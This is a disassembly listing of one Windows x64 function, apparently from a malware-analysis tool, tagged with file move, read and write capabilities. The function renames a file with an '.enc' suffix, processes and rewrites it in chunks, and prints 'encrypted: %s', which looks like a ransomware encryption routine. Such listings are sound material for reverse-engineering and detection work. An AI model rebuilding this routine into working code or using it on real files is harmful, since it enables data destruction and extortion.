Function at 0x140002c26
Capabilities:
Move file
Read file on windows
Write file on windows

Disassembly:
push rbp
sub rsp, 0x150
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xe0], rcx
mov qword [rbp + 0xe8], rdx
mov qword [rbp + 0xc8], 0
lea rax, [rbp - 0x60]
mov r8d, 0xff
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov rdx, qword [rbp + 0xe8]
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcpy
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rdx, rax
lea rax, [rbp - 0x60]
add rax, rdx
mov dword [rax], 0x636e652e
mov byte [rax + 4], 0
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xe8]
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_rename
test eax, eax
setne al
test al, al
je 0x140002cbf
mov eax, 0
jmp 0x140002f03
lea rax, [rbp - 0x60]
lea rdx, [0x14001e1c5]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov qword [rbp + 0xb8], rax
jmp 0x140002dbc
mov ecx, 0x20
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rbp + 0xa8], rax
mov ecx, 0x10000
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rdx, rax
mov rax, qword [rbp + 0xa8]
mov qword [rax + 8], rdx
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_ftell
movsxd rdx, eax
mov rax, qword [rbp + 0xa8]
mov qword [rax], rdx
mov rax, qword [rbp + 0xa8]
mov rax, qword [rax + 8]
mov rdx, qword [rbp + 0xb8]
mov r9, rdx
mov r8d, 0x10000
mov edx, 1
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
mov rdx, qword [rbp + 0xa8]
mov qword [rdx + 0x10], rax
mov rax, qword [rbp + 0xa8]
mov dword [rax + 0x18], 0
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_feof
test eax, eax
setne al
test al, al
je 0x140002d9a
mov rax, qword [rbp + 0xa8]
lea rdx, [rax + 0x10]
mov rax, qword [rbp + 0xa8]
add rax, 8
mov rcx, rax
call fcn.140002562
mov rax, qword [rbp + 0xe0]
mov rax, qword [rax + 0x40]
mov rdx, qword [rbp + 0xa8]
mov rcx, rax
call fcn.14000366c
add qword [rbp + 0xc8], 1
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_feof
test eax, eax
sete al
test al, al
jne 0x140002cde
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
lea rax, [rbp - 0x60]
lea rdx, [0x14001e1da]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov dword [rbp + 0xc4], 0
jmp 0x140002ec4
mov rax, qword [rbp + 0xe0]
mov rax, qword [rax + 0x48]
mov rcx, rax
call fcn.140003796
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov rax, qword [rax]
mov edx, eax
mov rax, qword [rbp + 0xb8]
mov r8d, 0
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fseek
mov rax, qword [rbp + 0xb0]
mov rdx, qword [rax + 0x10]
mov rax, qword [rbp + 0xb0]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0xb8]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rdx, rax
mov rax, qword [rbp + 0xb0]
mov rax, qword [rax + 0x10]
cmp rdx, rax
setne al
test al, al
je 0x140002e9b
lea rax, str.fwrite
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_perror
mov rax, qword [rbp + 0xb0]
mov rax, qword [rax + 8]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rax, qword [rbp + 0xb0]
mov rcx, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
add dword [rbp + 0xc4], 1
mov eax, dword [rbp + 0xc4]
cdqe
cmp rax, qword [rbp + 0xc8]
jb 0x140002e09
mov rax, qword [rbp + 0xb8]
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
lea rax, [rbp - 0x60]
mov rdx, rax
lea rax, str._encrypted:__s_n
mov rcx, rax
call fcn.1400193a0
mov eax, 1
add rsp, 0x150
pop rbp
ret